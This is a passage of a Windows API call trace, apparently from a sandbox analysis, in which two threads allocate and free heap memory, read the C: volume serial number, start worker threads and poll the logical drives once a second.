lpMem=0x11ccc70 | out: hHeap=0x11a0000) returned 1 [0074.080] GetProcessHeap () returned 0x11a0000 [0074.080] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b87d0 | out: hHeap=0x11a0000) returned 1 Thread: id = 15 os_tid = 0x4b4 [0074.082] GetLogicalDrives () returned 0x4 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b22a0 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11b6e58 [0074.083] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a4 [0074.083] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a8 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfe50 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bffb8 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c00f8 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.083] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bffb8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00f8 | out: hHeap=0x11a0000) returned 1 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0074.083] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x30ffae4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x30ffae4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.083] GetProcessHeap () returned 0x11a0000 [0074.083] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffb8 | out: hHeap=0x11a0000) returned 1 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c10 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0988 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c70 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0ca0 [0074.084] htonl (hostlong=0xb4197730) returned 0x307719b4 [0074.084] QueryPerformanceCounter (in: lpPerformanceCount=0x30ff9d8 | out: lpPerformanceCount=0x30ff9d8*=16941509788) returned 1 [0074.084] GetTickCount () returned 0x1153e1f [0074.084] GetCurrentProcessId () returned 0x11b8 [0074.084] GetCurrentThreadId () returned 0x4b4 [0074.084] GetLocalTime (in: lpSystemTime=0x30ff9c0 | out: lpSystemTime=0x30ff9c0*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x4, wDay=0xb, wHour=0xe, wMinute=0x1c, wSecond=0x3, wMilliseconds=0x198)) [0074.084] SystemTimeToFileTime (in: lpSystemTime=0x30ff9c0, lpFileTime=0x30ff9d0 | out: lpFileTime=0x30ff9d0) returned 1 [0074.084] QueryPerformanceCounter (in: lpPerformanceCount=0x30ff9d8 | out: lpPerformanceCount=0x30ff9d8*=16941529372) returned 1 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x28) returned 0x11b6e88 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c88 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11b8358 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x14) returned 0x11b8670 [0074.084] GetProcessHeap () returned 0x11a0000 [0074.084] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0d18 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x80) returned 0x11be188 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c58 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x82) returned 0x11be210 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0cb8 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11b82e8 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0cd0 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x80) returned 0x11b1020 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0ce8 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x2) returned 0x11b8368 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11cd050 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0d00 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x80) returned 0x11b10a8 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd600 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11ccfc0 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b8368, Size=0x82) returned 0x11b1130 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11ccfc0, Size=0x100) returned 0x11cd880 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd4c8 [0074.085] GetProcessHeap () returned 0x11a0000 [0074.086] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x82) returned 0x11cd988 [0074.086] GetProcessHeap () returned 0x11a0000 [0074.086] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd5e8 [0074.086] GetProcessHeap () returned 0x11a0000 [0074.086] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x82) returned 0x11cda18 [0074.086] GetProcessHeap () returned 0x11a0000 [0074.086] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b1130, Size=0x104) returned 0x11cdaa8 [0074.086] GetProcessHeap () returned 0x11a0000 [0074.086] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11cd880, Size=0x200) returned 0x11cdbb8 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd050 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cdbb8 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd600 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1020 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0cd0 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b10a8 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0d00 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cdaa8 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0ce8 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd988 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd4c8 | out: hHeap=0x11a0000) returned 1 [0074.087] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cda18 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd5e8 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b8358 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c88 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be210 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c58 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0d18 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b82e8 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0cb8 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b6e88 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b8670 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xa4) returned 0x11b01a0 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0988 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c70 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0ca0 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c10 | out: hHeap=0x11a0000) returned 1 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x18) returned 0x11b8670 [0074.088] GetProcessHeap () returned 0x11a0000 [0074.088] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0xe) returned 0x11c0988 [0074.089] ResetEvent (hEvent=0x2a8) returned 1 [0074.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba56b3, lpParameter=0x11b8670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0074.093] CloseHandle (hObject=0x2ac) returned 1 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c10 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c58 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0cd0 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c70 [0074.093] htonl (hostlong=0xb4197730) returned 0x307719b4 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x28) returned 0x11b6e88 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0ce8 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11b82e8 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x14) returned 0x11b8910 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0d18 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x80) returned 0x11be188 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0cb8 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x82) returned 0x11be210 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0d00 [0074.093] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11b8358 [0074.094] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0c88 [0074.094] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x80) returned 0x11b1020 [0074.094] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0ca0 [0074.094] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x2) returned 0x11b8368 [0074.094] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11cccd0 [0074.094] GetProcessHeap () returned 0x11a0000 [0074.094] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd540 [0074.095] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x80) returned 0x11b10a8 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd660 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4) returned 0x11ccdb0 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b8368, Size=0x82) returned 0x11b1130 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11ccdb0, Size=0x100) returned 0x11cd880 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd3f0 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x82) returned 0x11cd988 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11cd408 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x82) returned 0x11cda18 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b1130, Size=0x104) returned 0x11cdaa8 [0074.101] GetProcessHeap () returned 0x11a0000 [0074.101] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11cd880, Size=0x200) returned 0x11cdbb8 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cccd0 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cdbb8 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd660 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1020 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c88 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b10a8 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd540 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cdaa8 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0ca0 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd988 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd3f0 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cda18 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11cd408 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b82e8 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0ce8 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be210 | out: hHeap=0x11a0000) returned 1 [0074.103] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0cb8 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0d18 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b8358 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0d00 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b6e88 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b8910 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xa4) returned 0x11b0d50 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c58 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0cd0 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c70 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0c10 | out: hHeap=0x11a0000) returned 1 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x18) returned 0x11b86f0 [0074.104] GetProcessHeap () returned 0x11a0000 [0074.104] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0xe) returned 0x11c0c10 [0074.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba56b3, lpParameter=0x11b86f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0074.978] CloseHandle (hObject=0x2ac) returned 1 [0074.979] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0xffffffff) Thread: id = 16 os_tid = 0x514 [0074.984] GetLogicalDrives () returned 0x4 [0074.984] GetProcessHeap () returned 0x11a0000 [0074.985] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0198 [0074.985] GetProcessHeap () returned 0x11a0000 [0074.985] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0080 [0074.985] GetProcessHeap () returned 0x11a0000 [0074.985] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bfe50 [0074.985] GetProcessHeap () returned 0x11a0000 [0074.985] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11c9198 [0074.985] GetProcessHeap () returned 0x11a0000 [0074.985] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c9198 | out: hHeap=0x11a0000) returned 1 [0074.985] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0080, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.985] GetProcessHeap () returned 0x11a0000 [0074.985] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0074.986] GetProcessHeap () returned 0x11a0000 [0074.986] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0074.986] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x323f924, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x323f924*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.986] GetProcessHeap () returned 0x11a0000 [0074.986] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0074.987] GetProcessHeap () returned 0x11a0000 [0074.987] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b22e8 [0074.987] GetProcessHeap () returned 0x11a0000 [0074.987] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11cd678 [0074.987] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ac [0074.987] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c8 [0074.987] GetLogicalDrives () returned 0x4 [0074.987] Sleep (dwMilliseconds=0x3e8) [0077.397] GetLogicalDrives () returned 0x4 [0077.397] Sleep (dwMilliseconds=0x3e8) [0078.877] GetLogicalDrives () returned 0x4 [0078.877] Sleep (dwMilliseconds=0x3e8) [0082.485] GetLogicalDrives () returned 0x4 [0082.485] Sleep (dwMilliseconds=0x3e8) [0085.428] GetLogicalDrives () returned 0x4 [0085.428] Sleep (dwMilliseconds=0x3e8) [0086.576] 